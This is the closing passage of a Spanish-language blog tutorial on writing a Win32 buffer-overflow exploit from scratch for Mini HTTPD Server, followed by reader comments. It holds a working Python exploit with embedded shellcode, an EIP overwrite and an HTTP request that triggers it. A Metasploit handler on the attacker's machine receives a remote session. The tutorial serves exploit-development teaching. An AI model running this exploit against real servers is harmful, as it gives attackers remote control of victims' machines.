"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9"
)
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += ESP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

Ahora ponemos un “Metasploit handler” a la escucha en nuestra máquina atacante con IP 192.168.65.140.
minihttpd21

Y lanzamos nuestro nuevo exploit.

minihttpd22

PWNED!!! Tenemos una sesión remota en la maquina atacante.

Esto es todo por ahora, en próximas entradas modificaremos este mismo exploit para que funcione con DEP activado y lo portaremos a maquinas Windows 7. También os mostraré como pasar de este script en Python a un exploit de Metasploit en Ruby.

Espero que os haya gustado. Saludos.

Publicado en: Exploiting, win32
5 comentarios sobre “Como hacer un exploit en win32 desde 0. Mini HTTPD Sever.
  1. L0ngin0s dice:

    Excelente entrada Ignacio!!! Esperando la próxima!!

  2. Manolo dice:

    Me ha encantado el artículo. Es muy bueno, muy didáctico, no dejes de publicar cosas así.

    Un saludo.

  3. Jesús dice:

    Ignacio, excelente trabajo. Muchas gracias por la entrada. ¡Saludos!

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos necesarios están marcados *

*